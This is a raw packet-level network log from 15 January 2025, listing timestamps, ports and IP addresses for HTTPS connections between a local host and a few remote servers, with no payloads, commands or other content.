Jan 15, 2025 10:07:17.153767109 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.154285908 CET	49931	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.154366970 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.154593945 CET	49931	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.170687914 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.195343971 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.275155067 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.275527954 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.275553942 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.275881052 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.276220083 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.276288986 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:17.276377916 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:17.319334030 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337342024 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337398052 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337462902 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.337479115 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337492943 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337538958 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337542057 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.337547064 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337621927 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.337649107 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337686062 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.337697983 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337728977 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.337764978 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.338939905 CET	49923	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.338952065 CET	443	49923	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.357065916 CET	443	49924	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.357085943 CET	443	49924	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.357144117 CET	443	49924	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.357148886 CET	49924	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.357182980 CET	49924	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.357959986 CET	49924	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:18.357971907 CET	443	49924	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:18.655559063 CET	49749	443	192.168.2.4	66.228.45.195
Jan 15, 2025 10:07:18.655580044 CET	443	49749	66.228.45.195	192.168.2.4
Jan 15, 2025 10:07:19.084193945 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.084294081 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.084351063 CET	49931	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.084497929 CET	49931	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.084515095 CET	443	49931	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.397797108 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.397828102 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.397836924 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.397917986 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.397963047 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.398004055 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.398025036 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.398061037 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.398061037 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.398087978 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.398099899 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.398149967 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.398180962 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.398197889 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.398224115 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.428576946 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.428605080 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.428689003 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.428711891 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.483638048 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.485196114 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.485210896 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.485255957 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.485300064 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.485306978 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.485392094 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.485876083 CET	49928	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.485889912 CET	443	49928	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.497524977 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.497581959 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.497656107 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.498229027 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.498245955 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.542093992 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.542129040 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.542257071 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.542659998 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.542675018 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.590851068 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.590883970 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.591005087 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.591222048 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.591233969 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.885476112 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.885508060 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.885576963 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.885603905 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.885631084 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.885658026 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.885689974 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.885989904 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.886055946 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.886065006 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.886085987 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.886126995 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.915611029 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.915663004 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.915710926 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.915743113 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.915790081 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.967492104 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.973201990 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.973268032 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.973315954 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.973328114 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.973397970 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.997474909 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.997515917 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.997559071 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.997574091 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.997601986 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:19.997656107 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:19.997675896 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.026787996 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.026884079 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.026880026 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.026921034 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.026951075 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.026977062 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.029364109 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.029752016 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.029791117 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.030258894 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.033041954 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.033143997 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.033344030 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.059070110 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059133053 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059283018 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.059322119 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059400082 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.059446096 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059518099 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.059524059 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059618950 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.059674025 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.060607910 CET	49935	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.060632944 CET	443	49935	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.071012974 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.072413921 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.072431087 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.072848082 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.076540947 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.076649904 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.077265978 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.079343081 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.100666046 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.104451895 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.104487896 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.107064962 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.107201099 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.108958960 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.109081984 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.109206915 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:20.109224081 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.119348049 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:20.158620119 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.096128941 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.096198082 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.096278906 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.096673965 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.096688986 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.612211943 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.612699032 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.612731934 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.613111019 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.614988089 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.615098953 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.615642071 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.659337044 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.742213011 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.742351055 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:21.742420912 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.742921114 CET	49953	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:21.742939949 CET	443	49953	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.121725082 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.121752977 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.121773005 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.121825933 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.121880054 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.121912956 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.121938944 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.183610916 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.183676004 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.183731079 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.183754921 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.183809996 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.212863922 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.212894917 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.212950945 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.212973118 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.213016033 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.264738083 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.273273945 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.273330927 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.273361921 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.273370981 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.273386002 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.273402929 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.273459911 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.277004004 CET	49951	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.277023077 CET	443	49951	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.513518095 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.513547897 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.513564110 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.513613939 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.513633966 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.513693094 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.514554977 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.514595985 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.514663935 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.514673948 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.514729977 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.544161081 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.544179916 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.544260025 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.544276953 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.592890978 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.605576038 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.605607033 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.605707884 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.605724096 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.605777979 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.629100084 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.629129887 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.629160881 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.629228115 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.629228115 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.629246950 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.629298925 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.654694080 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.654714108 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.654823065 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.654838085 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.654881001 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.694601059 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.694627047 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.694664001 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.694691896 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.694705963 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.694731951 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.694745064 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.694892883 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.695339918 CET	49952	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.695354939 CET	443	49952	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.702872038 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.702927113 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.702996969 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.703488111 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.703516960 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.746195078 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.746237993 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.746331930 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.746612072 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.746623993 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.747096062 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.747167110 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.747237921 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.747473955 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.747487068 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.778574944 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.778614998 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:22.778682947 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.779230118 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:22.779243946 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.089975119 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.090023041 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.090432882 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.090660095 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.090672016 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.212260008 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.212893963 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.212932110 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.213280916 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.213882923 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.213938951 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.214071989 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.259334087 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.268014908 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.277386904 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.278672934 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.298849106 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.307545900 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.307558060 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.308056116 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.308079958 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.308093071 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.308201075 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.308234930 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.309432983 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.309448004 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.309504986 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.309524059 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.311676025 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.311814070 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.315069914 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.315264940 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.315692902 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.315888882 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.315992117 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.316059113 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.316071033 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.351329088 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.359334946 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.361804008 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.361804008 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.502475023 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.502571106 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.502712011 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.503001928 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.503051996 CET	443	49964	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.503081083 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.503343105 CET	49964	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.598009109 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.598514080 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.598551035 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.599775076 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.599860907 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.600543976 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.600615025 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.600860119 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:23.600869894 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:23.652702093 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.011296988 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.014360905 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.014470100 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.014873028 CET	49978	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.014898062 CET	443	49978	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.020102978 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.020138979 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.020207882 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.020586967 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.020597935 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.024152040 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.027589083 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.027628899 CET	49977	443	192.168.2.4	172.235.150.19
